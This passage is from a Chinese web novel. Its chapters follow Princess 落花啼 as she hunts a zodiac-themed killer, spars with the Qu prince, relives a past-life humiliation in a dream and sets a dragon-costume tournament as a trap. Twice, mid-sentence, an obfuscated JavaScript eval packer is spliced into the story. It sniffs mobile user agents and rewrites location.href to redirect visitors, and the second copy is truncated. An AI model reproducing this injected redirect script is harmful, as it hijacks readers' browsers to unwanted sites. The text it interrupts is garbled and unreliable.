“不知本公主有无机会去好好探查……听说里面的宗主避世于人,不喜和俗人接触,脾气也火爆,倘若他能卖本公主一个面子就好了。” 换念一思,哀悼山的宗主大概率不会允许一队士兵抄家般凶神恶煞地冲到山上,不体面,也不吉利。 曲探幽似乎厌烦此事,适时道,“生肖杀手一事就此打住,一切疑点让警世司之人去查。春还公主与孤当务之急是得找出龙鳞花,轻重缓急,明晰不已。” “一朵虚无缥缈的花儿能比得上落花国百姓的人命吗?那龙鳞花根本就不存在,比起破花儿,本公主更想揪住杀人凶手还百姓一个公道。” “龙鳞花乃曲朝皇宫内招的一名道长李怀桃所言的祥瑞之物,怎会有假?春还公主,你别忘了落花国王交代给你的话,你必须陪孤找到奇特的龙鳞花,否则——孤就赖在落花国不走了。”曲探幽挑挑眉,丢出撒手锏,唇角噙着势在必得的邪笑。 “……”落花啼十分泄气,吃了屎苍蝇似的恶心,捂着嘴后退,眸珠转动,“哦?龙鳞花是李怀桃道长言出的,难道,千古一帝的传言也是他散播的?” 若是如此,千万别让她有机会逮住这招摇撞骗的野道士。 曲探幽眉宇阴上一层寒霜,愀然变色,“春还公主,你对千古一帝之事挺耿耿于怀啊?” 落花啼不上他的套,反唇相讥,“不过是江湖术士随口诌出的废话,谁知道真假有几分,什么千古一帝,我还紫薇大帝呢?没想到,你们曲朝还深信不疑这些言论,将之奉为圭臬。你们信谣言胜过治天下,是否本末倒置?” “李道长并非坑蒙拐骗的江湖术士,而且千古一帝之辞也不是自他口中得出,乃是民间甚嚣尘上,逐渐传得人人皆闻。” “民间……那也是有人带头宣扬,不是空穴来风,你们曲朝不问来由,不查情况就相信?” “不止是民间闹得满城风雨,父皇夜里频频梦见此节,不得不相信未来会有一位千古一帝降临人间,更改天下局面。” 咳嗽一声,落花啼不接话茬了,咬咬牙,拉着身后的银芽绕过曲探幽往西风愁坞走去。 曲探幽但笑不语,睨了睨入鞘,一行人逐渐离开了沁冰阁。 翌日,落花啼和曲探幽备了两辆马车出了落花王宫,继续在灵暝山四野寻觅龙鳞花。 落花蕊因遭受蛇毒而不便出动,留在沁冰阁安养。银芽不擅武力,落花啼怕她跟着来容易受伤,留了任务让她管理好西风愁坞,无须跟随。 在灵暝山耗费一天,意料之中,一无所获。 落花啼蹲在光滑的巨石上,手心撑着下颌,瞅着眼前来来去去忙碌地拨动草丛的曲兵,从鼻腔里挤出一记冷哼。 她打量去哀悼山碰碰运气,当然,不是碰龙鳞花的运气。 落花啼不等和曲探幽商量,跳下石头翻身钻入马车,缰绳勒住马脖子急急忙忙调转方向,独自“哒哒哒”地偷摸跑了。 火红色掺了暗紫色的云霞铺满天边,一颗堕落的烈日往西沉去,尽显孤寂。 落花啼气喘吁吁,赶来了哀悼山的山脚底部。 探头探脑跃下马车,甫一站定,裙袍便被一阵形容不得的寒冰罡风狠狠一震,衣纹稠叠的华丽裙摆顷刻间如同翅羽大张的彩色蛱蝶,蹁跹在半空,摇颤不停。 落花啼左右一扫,喉咙处冷不丁抵了一微凉的硬物。 四名青衣道童不知何处窜出来,手执银剑举起一划,挡住去路,道,“站住!来者何人?” 竟有不小的威慑气度。 其中为首的道童约摸十二三岁,一身量体所裁的轻薄衣衫飘飘展展,漾在周围的红绿花草上,多了几分诗意和美感。 眉秀眼澈,鼻梁挺翘,小嘴撅起倔强的弧度,昂着脑袋望向陌生的落花啼,见其不予回答,再次道,“来者何人?鬼鬼祟祟,你想在哀悼山做什么?” 俯视身高只打到自己耳朵位置的小道童,落花啼扯嘴一笑,心底放下戒备,拿指尖弹开那柄薄如蝉翼的剑刃,不卖关子,“本公主乃落花国王室中人,落花啼,今儿想见一见你们的宗主。近段时间花落知多少城内发生了一些怪事,有丝缕线索牵扯了哀悼山,所以能否见他老人家一面,求问清楚。小弟弟,麻烦你去通传一番。” 掏出袖口里的一只布囊,倒出卷曲灰黑的皮屑,递给四名道童瞧了瞧,“这是在荒岭附近捡的人皮,杀人的凶手就躲在这一带,但是遍寻数日仍旧不见他的身影,所以本公主想进哀悼山找——” 话语未休,为首的清秀道童身旋腰动,踹起一脚踢掉落花啼手里的皮屑,还连带着把落花啼的手背踢个结实。 他的鼻孔斜斜看来,敷衍地躬身施了一礼,那动作活像没长骨头似的软踏踏,撇嘴道,“你是落花国的公主?若我们没有忘记,你是拜了灵暝山的宗主花下眠为师,那么,你不会不晓得哀悼山和灵暝山多年不睦,两位宗主道不同不相为谋,长久不见,积怨颇深。因此,恕不接待!你手里的皮屑不是前几天就有人问过一次吗?还要来几次?都说了哀悼山没有凶手,更不会私自收留为非作歹的恶人,请回吧!” 落花啼吃疼地揉揉手,俯身捡起皮屑收回袖子,心道这臭小子看着块头不高,力道却不输成人,果是哀悼山的弟子,不容小觑。 她拽出腰间的绝艳,横在清秀道童面前,血气涌上头脑,“放肆!哀悼山当真不识一丝礼数?竟敢对本公主说打就打!本公主不过是想查清花落知多少里的惨案,无心讨论两山的恩恩怨怨——最后说一句,给本公主让路!” 小道童不败气场,眼神示意左右护好通往山上的道路,上前一步,“不让!宗主说了,不请自来者,私自擅闯者,挑衅滋事者,就地诛杀!” “诛杀?哀悼山真是狂得没边了,看我今天怎么用灵暝山弟子的身份好好收拾你们一顿。” 落花啼气笑了,抖开宽袖外袍扔在草蓊,脚底一错,绝艳凌空飞腾,恰似凛冬的鹅毛白雪迎面招呼而去。 道童足下点跃,原地翻个筋斗,险险躲避。 天地逆转间,他的鼻子就接着挨了一拳头,落花啼扭拳锤来,势头毒辣,直击道童白嫩的下巴,“嘭”的沉闷大响,听者无不牙疼,悄悄地闭上了嘴。 道童“哎呦”一声,撤身跳远,偏头吐一口红红的唾沫,恼羞成怒 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卧石的小脸孔跟煮熟了无异,他爬起身,不答一词,双腿迈开,自顾自掐诀,两只细长的手翻来覆去折腾出千奇百怪的姿势,恨声道,“无量天相,清风移月,来!” 落花啼一头雾水,下一秒,笑声戛然而止,因为她察觉四周平地起风,滚石走土,乌泱泱泼来了一团黄风,紧紧把她裹入其中,东南西北都望不出。 冷风混着沙石灌满衣袍,吹得她不住后退,差点摔在地上,她好不容易扒住一棵巨树稳住身体,脑门瞬间被一块横冲直撞的石头砸得昏死过去。 不知奇怪的妖风吹了多久,落花啼头靠在树下,仰面平躺,先前褪去的华丽外袍此时无声无息盖在了她的胸前。 太阳穴一抽,落花啼缓然启开眼缝,转转眸仁,打量周围情况。 卧石和青衣小道童们烟消云散,哀悼山的山脚除了危崖竦峙,乱石嶙坡,叠翠层林,唯有寂静的微风,慢悠悠飘曳。 该死,卧石那臭小子居然会招风幻术,没想到哀悼山的宗主会教他们这么厉害的本领。 落花啼半坐起来,低眸扫一下出现在胸前的外袍,讶异不已。 “公主殿下。” “你醒了?” 一道熟悉的嗓音响起,像山泉迸跃,春雨淋漓,近在咫尺。 黑发如绸,红衣似血,腰上栓了珠玉满载的黑蹀躞,一把精致修长的匕首斜挎在上面。 红袍下的裤管和锦靴皆是一色的玄黑,深刻入目。 他蹲在不远处,在一泓清潭边用刚砍的竹筒打了水,侧头瞭来,肤色凝白,鼻若雪峰,言辞铮然道,“公主殿下,花落知多少今早又失踪了一位年轻男子,我想去王宫找你告知一切,却进不去。无奈之下,打听许久才得知你与曲朝太子去了灵暝山,不料我刚跑到灵暝山的时候就看见你朝哀悼山走去,索性一直跟随你。等我赶来,你已经晕倒了。” “花……花辞树?” 落花啼震惊会在哀悼山遇见花辞树,晃晃脑子以为看错了,听对方解释一遍,忍不住揪着重点,道,“什么?又失踪了一个人?那这次被抓的是否属——” “回公主殿下,被抓的乃是属猴的人,年二十。” 11. 感时花溅泪 第十一章感时花溅泪 (蔻燎) 花辞树提着竹筒走来,单膝跪地,双手捧着绿油油的竹筒给落花啼,笑道,“公主殿下,喝点水吧,休息一会我们一俱下山。” 靠近几分,他瞧见落花啼额头上肿胀的大包,掏出随身携带的药膏,征求对方的同意,“公主殿下,你的额头红肿了,不介意的话,容我帮你涂药吗?” 落花啼不置可否,有气无力地瞟了一眼花辞树。 接过鲜嫩湿润的手腕粗细的竹筒饮了一口凉爽的潭水,水的味道都充满了竹子的清香,落花啼长吁一气,轻颦眉心,“我听入鞘说他在荒岭捡过一片人皮屑,但是荒岭上上下下不见人烟,也无山洞躲身,所以我猜想,那生肖杀手会不会藏在接近荒岭的哀悼山之中?” “不然。” 花辞树摇摇头,扶着落花啼的后背,指腹勾了淡黄的药膏轻轻地一圈一圈按揉落花啼受伤的位置,坦然道,“哀悼山是胜名天下的天相宗,与灵暝山同出一脉,都是斩奸除恶的正直教门,断不会做出伤天害理之事。我认为,这是生肖杀手故意祸水东引,将我们的注意力引至哀悼山,他才有机会继续为非作歹。实际看来,他目下成功了。” 此言不差。 落花啼便是被生肖杀手的障眼法骗到了哀悼山闹了一出,而真正的生肖杀手却在花落知多少熟稔的得手了。 点点头,摇摇头,落花啼蓦地想起什么,直视花辞树,喉咙哑然,“生肖杀手抓走了人,会在十二天之内杀人抛尸,自上一次抛羊尸已经过去了四天,如此一来,我们只剩下八天时日。当务之急,必须赶快找到生肖杀手的藏身之处。对了,这次抓走的人到底是谁?” “论起此人,公主殿下你也亲眼见过一面。” 这话说得云雾缭绕,落花啼懵了,反问,“我见过,在何处?” 花辞树敛眸,“正是在‘全是羊’酒楼匾额下被粘血滴了一脸的富家公子。” 那富家公子不是旁人,是花落知多少的首富钱盆满的儿子钱钵溢,年岁将好二十,属相为猴。 钱钵溢自生下来就过着馔玉饮珠的风光日子,几乎想要什么便得什么,家底子厚实得富可敌国,算是花落知多少里排名头等的公子爷,呼风唤雨,不在话下。他每日除开沉溺温香软玉,就是豪赌作乐挥洒金银,吊儿郎当,不学无术惯了,多年下来成为了名副其实的纨绔。 他仗着家大业大,不将所谓的生肖杀手放在眼里,即便知道自己属猴,可能会沦为生肖杀手的下一个目标,他还是抱着侥幸,天天不务正业,跟着狐朋狗友浪迹在花丛中。 花辞树下达的属猴之人的宵禁他是左耳朵进右耳朵出,弃之脑后,偷摸溜出来玩乐。 不曾想,他昨夜去了花落知多少里的一家妓-院“酿紫居”过快活似神仙的夜晚,次日便在房中失踪,徒留一双臭气熏天的鞋子证明他来过。 富贾钱盆满得知消息,哭天抢地,天蒙蒙亮时就咋咋呼呼跑到警世司求着官爷救救他的儿子。 花辞树自是派人四处搜索,并加大范围去荒岭一带碰碰运气。 心知无可耽搁,耽搁一秒失踪的钱钵溢就会多一分危险,落花啼逮住花辞树帮她抹药的大手,强撑身子要站起来,耳畔不合时宜地乍起清脆的鼓掌声。 “啪!啪!啪!” 犹胜刮人耳光,颤动心神。 两人循声而望,不偏不倚对视上远处一队人马前的金袍男子的深邃眼眸。 曲兵一长条地蜿蜒在哀悼山,不见尽头,前首的一匹黑马上坐着面无表情的曲探幽,他举手连拍几下,颇有玩味的意思。 天际黑沉似水,西落的太阳匿于山后,哀悼山愈发黯淡,每个人的脸庞都镀上薄薄的蓝黑色。 天地之间,只有曲兵手里的火把还带点亮光和温度。 曲探幽曳缰走来,停在落花啼与花辞树二人正中央,居高临下,“春还公主,不是说好了助孤寻找龙鳞花?你不告而别,独自消失也罢了,何以又同警世司之人拉拉扯扯?你忘记了你是孤的未婚妻么?” 他的眼睛流驻在落花啼握着花辞树手掌的手上,黑目的星火光芒闪了一闪。 一旦看见曲探幽,前世深入骨髓的恐惧席卷她的心房,落花啼浑身绷紧,戒备万分,丢开花辞树的手,按住腰上的绝艳。 昂头,微眯瞳孔,讥鄙道,“本公主来哀悼山找龙鳞花,一番好意竟叫你这人当成驴肝肺,没天理!我只是路上偶遇了花司主罢了,你别叽叽喳喳跟怨夫一样,搞得本公主真和你有什么般,恶心死了。” 她不管曲探幽作何回答,走到对方的马匹之下,“给本公主和花司主一人一匹马。”马车不知跑何处去了,得退而求其次骑曲兵的马下山了。 曲探幽斜了斜花辞树,回头打量落花啼,抿直嘴角,抬手一挥。 入鞘无奈地牵出两匹高头大马,示意落花啼,花辞树上马。 落花啼毫不忸怩,脚踏马蹬,翻身上去,抽-动皮鞭子,头也不回地驰骋走了。 花辞树朝着曲探幽俯首行礼,硬邦邦地道一句“多谢太子殿下”,跳上马背,跟着落花啼的背影前去。 尘土飞扬。 入鞘瞅着两人折入山林,小心翼翼抬目去看曲探幽,“太子殿下,这春还公主一天天翻山越岭,亲近外男,谎话连篇,完全没有公主的模样。要不,我们先回落花王宫?不必管她了。” 曲探幽捏着缰绳的手指挫出骨响,闭口无言,仅是一展手臂,曲兵队伍换了方向秩序井然地向山底行进。 花落知多少灯笼掩映,华光灼眼,八街九陌,道路纵横。 将马丢给落英缤纷客栈的店小二,由着他把马儿关进马厩,落花啼甩一锭银子,言简意赅,“两间天字上房。” 落花啼的身份不便跟随花辞树去警世司,两人下山的路上商议在一家客栈暂住,待抓捕凶手后各自分道扬镳。 其实落花啼很好奇花辞树明明武艺高超,为何频频捕不住生肖杀手,得到的答复是,“公主殿下,对不住,警世司之前还有别的任务,难以脱身,未能全心全力捉拿生肖杀手。” 既已如此,也无法苛责。 落英缤纷客栈秉持着落花国花团锦簇,生机盎然的特点,自进客栈大门开始,一楼,二楼,直至三楼等等,路段左右的墙面皆布置了华丽的绒花,以竹篮为依傍,一团团亮眼的色彩,挤得眼眶都装不下。 不止墙面上有花,连天花板上也倒垂了精美的花灯,粉白的莲花,银白的玉兰,乳白的百合……花灯的花蕊里坠下来一条丝绸绦带,绦带上有笔墨写出的旖旎诗句。 “落雪飞芳树,幽红雨淡霞。薄月迷香雾,流风舞艳花。” 落花啼停滞足底,不由自主伸手截了一绦带,默默在心腑吟诵。 身旁的花辞树亦被诗句吸引,学着落花啼抓了一绦带细看,他故意读出声来,顿挫有度,悦耳道,“纤云弄巧,飞星传恨,银汉迢迢暗度。金风玉露一相逢,便胜却人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810647|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数……两情若是久长时,又岂在朝朝暮暮。” “公主殿下,落英缤纷此店能深得人心,大抵便是利用这些巧思吧。” 他将手掌的绦带给落花啼看,指着末端。 绦带末端有人的署名。这些绦带不外乎是某某男子为某某女子写的表达情意的诗,借以慰藉相思之苦。大多数虽不是自创,但也有一番真心。 落花啼抛掉绦带,嗤道,“借花献佛的手段罢了,若真有女子为之感动沉迷,倒是闹笑话了。” 花辞树一愣,澄澈的瞳孔透着复杂的光芒,他喟叹,“倘若不取他人之诗,自己写一首,会有女子动心吗?” “得看写得是什么内容了。” “那公主殿下你能否帮我听听,我写的这一首诗,心爱之人听罢能不能有感触?” “愿闻其详。” “花女姝艳,近我于山,远我于水,爱却不现,搔首徘徊。 花女娈美,碰我之手,触我之面,爱却不见,踟蹰难安。 花女匪忆,弃我今夕,怜我何夕,多情依依,别离凄凄。 花女迷离,恍我前尘,惚我来生,铿锵誓言,何时实现。” 喉结鼓动,字词清晰,花辞树一个字一个字面向着落花啼说出,双唇噙笑,情深意长,使得后者的心湖急湍沸腾,达到吞山吃海的威力。 实话实说,花辞树此人生得俊美非凡,是人世间数一数二的绝色,被这样的美男认认真真地献诗,应当没谁能无动于衷地忍住。 落花啼咽口燥热的唾沫,咳嗽两下,挠挠微痒的额角,别开视线,“咳咳,写得非常好,比借古人的诗句来表达情意的凡夫俗子要真诚得多。” “那公主殿下喜欢吗?” 花辞树眸光珠颤,一双眼直愣愣盯视,期待满满地望来。 “本公主喜不喜欢不重要,得你的心爱之人喜欢才行。”落花啼微微一笑,举步朝前走去。 花辞树紧随其后,落寞道,“她不知道我的心意,我若同她说了这些,她是不会动心的,她应该会讨厌我。” “花司主才貌双全,怎会有人讨厌呢?” “……许是我在警世司总干些沾血的脏活,她不喜吧。”褪去稀薄的笑意,默了默,花辞树挺直腰背,转移话题,“公主殿下,能去你房内谈谈生肖杀手的事情吗?” 自然能去,走到房间门口,推门而入,落花啼招呼花辞树无须拘束,自由自在即可。两人各端一杯凉茶啜饮,伏在窗边赏月,惬意舒心。 春风穿户,温婉叩窗,别有滋味。 花辞树道,“公主殿下,你为何会对生肖杀手一事这般上心呢?” “大概是不想我的子民惨死吧。” 前世她走过刀山,还是没救下落花国的百姓,她心中惭愧,悔恨,痛苦,愤怒,羞-耻。重活一世后,只觉得要想方设法保护好他们,减轻自己的罪孽,得到久远的原谅。 “公主殿下爱民如子,心系天下,是百姓们的福气。”莞尔淡笑,花辞树扭头望着落花啼,情不自禁道。 “是吗?” 落花啼苦涩而笑,自嘲地叹气,倘若这一世能保住落花国和落花百姓,即便承受非人的折磨和沉重的压力,她也无怨无悔,不枉此生。 言及此节,花辞树拿出上一回在生肖杀手身上扒掉的人皮衣,灰黄色,层层叠叠,一片压一片,触目恶寒。 他指向明确,逐字逐句道,“公主殿下,你看,这皮屑衣像什么动物?” 12. 晓梦迷蝴蝶 第十二章晓梦迷蝴蝶 (蔻燎) 皮屑衣像什么动物,这倒是从未设想过的。 落花啼捋直皮屑衣露出全貌,扫视两三回,眼眸星亮,顿时醍醐灌顶。 一拍桌案,掷地有声,“花司主,本公主明白了,这所谓的皮屑衣根本不是为了收集死者的皮肉来炫耀,生肖杀手是想用人皮制作一种十二生肖里面有的,但现实生活中没有的动物。” “起初本公主以为这密密麻麻的皮屑是类似蛇的鳞片,然而,现在本公主敢肯定,决对不是蛇,因为蛇尸已经被生肖杀手早就做出来了。那么——他想用人皮做出什么呢?” 花辞树沉声,一语中的,“龙。” “他想做一身世界上没有的龙的鳞片衣服,只不过技术丑陋,让龙鳞衣看起来像恶心的蛇鳞。” 落花啼道,“看来,生肖杀手对龙的执念颇深。花司主,你还记得当初在义庄发生的事吗?生肖杀手便是看见了曲探幽腰部挂着的龙形玉佩,才暴露了行踪。他似乎对龙,爱得发狂,爱得不正常。他爱龙,却讨厌十二生肖的其他动物,觉得那些动物不配排在十二生肖里面,更不配跟龙比较,所以他要杀光各生肖的年轻人,因为老人的皮于他而言并不新鲜,他看不上。” “公主言之有理,所以,要抓住生肖杀手,还得对症下药,投其所好。”眉山轩起,笑容勾勒,花辞树抑制不住鼓鼓手掌,称赞道,“公主与我心有灵犀,后续逮捕一事自然会游刃有余。” 落花啼两靥生花,挥手拽住花辞树拉到近前,贴着对方耳畔道,“本公主知道如何引蛇出洞了,不过,还得花司主帮帮忙。” 何曾与堂堂一国公主靠得这般近,花辞树佯装面不改色,实际脖子以下红出一片天,他唯命是从地点首,对落花啼的想法绝无二议。 末了,僵硬地站在桌旁,磕磕巴巴道,“公主,公主殿下,你我既已熟稔,公主殿下不必叫我花司主,实在担不起,不如叫我小花罢,我朋友都这么叫。” “小花?喊着好可爱。” “嗯。” “好,小花,小花,那本公主以后就叫你小花了。” “多谢公主殿下。” 花辞树目光澄静,略微羞涩地清了清嗓子,“天色已晚,请公主早早歇息,我先退下了。” 他弓腰行礼,拜别了落花啼,掀门离去。 夜深,悬月如钩,弯曲得能割人喉管。 为了明日方便出行,落花啼满头珠钗来不及卸下,翻身躺上床,和衣而眠。 窗外的月华似融化的银-水,冰冷地飞泄,筛过薄纱窗,直流到房中地板上,盈盈若雾,像秋水泛波,看不清水深几何,唯恐失足坠入,万劫不复。 落花啼是被嘈嘈杂杂的人声吵醒的。 待她撩开眼帘,入目是一片陌生的房屋殿宇,熙熙攘攘的热闹街道,车如流水马如龙,富饶得可憎。 她困在一方窄小的囚车里,脖子戴上桎梏,腿脚被铁链捆绑,损伤的脚心不知被谁敷衍地包扎了。 周围之人的衣着打扮完全不是落花国的样式,复杂新奇。 落花啼明白,她来到了曲朝,以一个奴隶的身份。 她费力半坐起来,疯狂地拍打囚车,“太子殿下,太子殿下!你说过放了落花国的百姓,你放了吗?他们在哪?” 前方高头大马上的挺拔男子头也不回,充耳不闻。 一士兵对百姓道,“诸位!诸位!你们看——这便是南部落花国的春还公主,落花啼。落花国战败,举国失守,曾经高高在上的公主殿下也将成为曲朝皇宫里低贱如泥的区区宫婢!” 此音一寂,响起了排山倒海的掌声。 没看见是谁起头丢出一截烂叶子砸到落花啼脸上,其余等候多时的百姓们仿佛得到指令,逐一把手里的鸡蛋壳,烂萝卜……悉数丢向落花啼。 “落花国余孽!去死!敢跟曲朝抗衡,还有脸退婚,我们的太子殿下是好欺负的吗?活该!” “落花国都被灭了,她算什么公主?砸她!砸她!” “卖国求荣,她怎么不下地狱?要是换成我,早没脸见人了!” “……” 密集如雨的肮脏事物劈头盖面地泼在身上,如同被巨石碾压,喘不过气。 天幕擦黑,一整天的游街示众终于结束了。 囚车軲軲辘辘在夜色下前行,冷月稀薄,柔纱一般洒透而下,飞进眼眸里,亮得好似萤火。 士兵上前打开囚车,粗鲁地兜过落花啼的衣领将人从车上拖拽下来。 落花啼足下伤残,无法站立,重心不稳将要倒在地上。 两腋收紧,一双大手半空截住她坠落的势头,把她揽入怀中。 眼前之人,除了攻破落花国,倨傲恣意的曲朝太子殿下,还会是谁? 落花啼两脚支撑不住自身体重,在曲探幽放下她后,只能趴在地上借两只手掌移动,像被斩了腿脚即将上俎案切割分块的兔子,等待她的是一场血腥的炙烤。 她身着破烂衣裳,沾满污血,一寸一寸在石板上匍匐。此番模样,愣是何人见了都忍不住丢给她几个铜钱,恻隐之心大动一通。 曲探幽站在一边冷眼旁观,走过去提起落花啼的后领子,把人拖进了一间黑黢黢,臭烘烘的封闭屋子。 落花啼靠在墙面上匀气,环顾一圈,“死囚屋?” 曲探幽伸手以钥匙敲了敲铁壁,朗声道,“对不住,春还公主。你是死是活,还待父皇给个准话。” 他说,“倘若天亮之前,无人过来开门,你就只能在这里自生自灭了。” 话毕,一士兵接过钥匙,在落花啼面如死灰的表情下,“咔嚓”一声重重落锁。 眸底闪入几道影影绰绰的身形,遮住了渺茫的一缕天光。 抖了抖干涸的嘴唇,落花啼捂着脸,形同枯槁地抬眼望去。 一位华服宦官道,“带她去洗一洗,换身曲朝的服饰。” “是。”那些宫女应道。 落花啼被人七手八脚提起来,拖出了死囚屋,她路过的地方蜿蜒出一条血淋淋的痕迹,宛如毒蛇滑行而过。 洗罢,穿好层层叠叠的曲朝长裙,脚底踩踏刀山留下的伤口也被细心上药包扎。 落花啼以为下一刻她会出现在断头台,不料被人抬到了热闹非凡的皇家宴会之中,以亡国公主的身份作为丑角,供人欣赏观看,践踏羞-辱。 “你叫什么名字?”曲朝皇帝曲远纣坐于上座,他睥睨落花啼,明知故问。 落花啼哑声道,“我叫落花啼,小字春还。” 话音未消,腰肢被人狠踹一脚。 宦官道,“放肆!你一介宫婢,竟敢在皇上面前自称‘我’?活腻了!” 落花啼一怔,掩盖不自然,愤恨道,“……奴婢,落花啼……” 这一回,座上的曲远纣展开笑靥,“妙极,识时务者为俊杰。朕看你,倒是个有意思的女子,不枉朕留你一命。” 落花啼跪下磕头,一声不吭。 她譬如一个破败娃娃,用双膝着地,跪行一圈,给在座的每一位曲朝的皇亲国戚斟酒,好像尊严颜面什么的在她这里不值一钱,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一道挺拔的身影鬼魅似的坐在床沿,侧头凝睇着汗如雨下的落花啼,轻轻抬手为其拭掉虚汗。久吹夜风的手指像冰块一样让人发颤,发抖,迷恋又畏惧。 慢慢的,落花啼扭动的幅度变小,呼吸逐渐安谧。 那身影弯腰弓背,俯下头颅靠近落花啼的脸,两人鼻尖相撞,唇瓣摩擦,竟有诡异的形容不出的暧昧。 他道,“你总是这样,桀骜不驯,傲骨难改,一点不爱听话。” “我该如何保住你呢。” 萧风扑怀,爽朗清冽,无声无息。 第二日,落花啼睡醒,头痛欲裂,转身一跟头掉下床摔了个四脚朝天。 她揉揉胳膊大腿,后知后觉发现中衣湿了一大片,心道,又他祖宗的做噩梦了,每次都梦见那杀千刀的曲探幽。 一整天的好心情都被晦气沾染了。 走到桌边,倒杯凉茶“咕嘟咕嘟”喝下,余光一扫,桌面上多了一只被掀起的茶盏,盏里的茶水剩了一半。 昨儿只有她和花辞树喝茶,不应该多了一杯啊。 甩甩头,说不定是自己夜里起来喝的,不足为怪。 连喝三杯茶,落花啼想起来许久不见的花-径深了,不知他在外游历,有没有找到能治疗他身上毒疮的药材。 花-径深曾经说,公主殿下,如果你再做噩梦,旦日起来把噩梦的内容写下,挖个坑埋入土地,就不会梦见恐怖的东西了。 落花啼想试一试,叫了店小二准备笔墨。 刚写了几个字,花辞树立在屋外敲了敲门,字字珠玑,“公主殿下,你交代的事情,我已连夜让人去办了,最晚明日正午便准备就绪,随时开始。” 13. 一夜鱼龙舞 第十三章一夜鱼龙舞 (蔻燎) 落花啼欣喜道,“那就好,小花,多谢你了。” 花辞树莞尔道,“公主殿下莫要折煞我,都是公主的功劳。”他迈步走来,瞥见落花啼铺在桌面上的宣纸,宣纸上整整齐齐写了几列刚劲有力,铁画银钩的字迹。 正待细瞅,雪白的纸面“唰”的被落花啼三下五除二地揉搓一坨,塞进腰部。搁下狼毫笔,落花啼道,“趁兴拈毫罢了,没什么可看的。” “公主也在作诗吗?” “啊……哈哈哈哈哈,不是。” 天天被噩梦折磨得头都变大了,哪有这般雅兴?落花啼含糊其辞忽悠过去,跟着花辞树去落英缤纷的一楼吃早食。 胃口不大好,胡乱咬了几口鲜花酥作罢。 翌日正午,花落知多少的城中举办了一场名为“真龙天子最佳形象”的比武大赛。简而言之,各位属龙的人可上擂台争出天下第一的“龙”,不限武器,不限门派,不限男女老少,想来就来。 打斗第一,输赢第二。 但有一点,参加真龙天子比武大赛的人必须装扮成“龙”的模样,不说是完全变成一条龙,但全身上下得有关于“龙”的特征,比如马首鹿角,蛇身鱼鳞,鱼鳍鹰爪,牛眼等等。 真龙天子比武会,不止比武,还比谁更像传说中的龙。 此事一出,群情激昂,跃跃欲试。符合条件的武士纷纷报名参与,提前制作属于自己的龙衣,兴高采烈来斗武。 落花啼和花辞树已换了衣袍,一身戎装,简约方便。 落花啼属龙,早早让花辞树备好了扮龙的事物,她在脑门上粘了两根威武的龙角,披上一套金光闪闪的龙鳞衣,行动起来龙鳞翻滚,宛如金浪滔天,刺目伤瞳。 她兴致勃勃地抖了抖那以假乱真的龙鳞衣,不经意瞟一眼比武擂台对面的酒楼,好巧不巧看见了一抹浅金色龙袍的影子,正襟危坐,在酒楼二层窗边慵懒自得地饮茶,一副置身事外,高高在上的姿态。 他的确不必要卷进来,落花啼懒得同他纠缠。 掰着手指头算了一算,落花啼嘀嘀咕咕,“我今岁十五,未至十六,正是属龙的天选之人,曲探幽年二十有一,他属什么呢?我数数看,子鼠、丑牛、寅虎、卯兔、辰龙、巳蛇、午马、未羊、申猴、酉鸡、戌狗、亥猪。噗,曲探幽居然是戌狗,他属狗!他属狗哎!哈哈哈哈哈!” 莫名戳中落花啼的笑筋,她一边拿毛笔给自己往脸上画龙鳞,一边笑得花枝乱颤,遏制不住。 一旁帮忙整理龙鳞衣摆的花辞树不明所以,眼神掺着笑流,“公主殿下,何事如此兴奋?可否告知我听听?” 落花啼和盘言出,不忘补一句,“怪不得他老是不干人事,没想到原因在这。” 花辞树言笑晏晏,无可奈何地摇摇头,大有宠溺之感。他回眸朝酒楼上的曲探幽遥遥瞅了下,与对方四目交接,嘁一声,哼哧道,“公主说得对,他就是一只狗。” 落花啼收了笑,一本正经道,“小花,那你几岁了?” “回公主殿下,刚及弱冠。” “咦?那不正好也是属猴的,还好你武功高强,体魄雄壮,没被生肖杀手视为猎物,不然得多危险啊。” 花辞树心房悸动,喉结一滑,修眉挑起,“多谢公主关心,为了警世司,为了落花国,为了公主殿下,我必不会出事的。” 酒楼里,站在曲探幽背后侍奉的入鞘把落花啼与花辞树窃窃私语的动作看得清清楚楚,他凑到曲探幽耳旁,煽风点火道,“太子殿下,属下就是看不得那花辞树在春还公主面前摇尾巴的德行,他们两人私语不断,准是在说太子殿下您的坏话了!太子殿下,需不需要属下去揍花辞树一顿?” 摆摆手,曲探幽目不旁视,冷眸似箭,隔空狠狠地刺进那道裹了龙鳞衣的瘦高背影,“随他们闹,无妨。” 入鞘道,“我们来落花国是为了寻找龙鳞花,春还公主根本不放在心上,一心一意想着抓什么生肖杀手,世界上怎么会有如此不识好歹的女人?她方方面面都不配太子殿下……” “住嘴!” 曲探幽将茶碗扣在桌上,声若奔雷,水花迸溅,他看也不看入鞘,冷笑道,“再多嘴,孤拔了你的舌头。” “……”入鞘咬死牙关,临渊履薄地后退好几步,捂着嘴巴,尽量减小自己的存在感。 真龙天子的比武大赛开始了。 每人只有一次机会,按报名顺序上场比武,输者下去,赢者则屹立在擂台,接受下一名比武者的对决。且看日暮之前何人占领擂台,何人便是独一无二的“真龙天子武者”。 第一回合,一位粗腰大腚的中年屠夫头戴一顶他家娘子亲手缝制的蓝色龙头帽子,两只混圆的龙角绣了云纹,竟也好看得宜。赤胳膊上阵,酱红色肌肤上画了潦草的龙鳞,鱼鳍,大概出自他手,与龙头帽对比,显得不伦不类了。 屠夫手握两把挫齿钢刀,杀猪开过刃,刀锋白惨惨的在日光下散发着腥臭凶气。 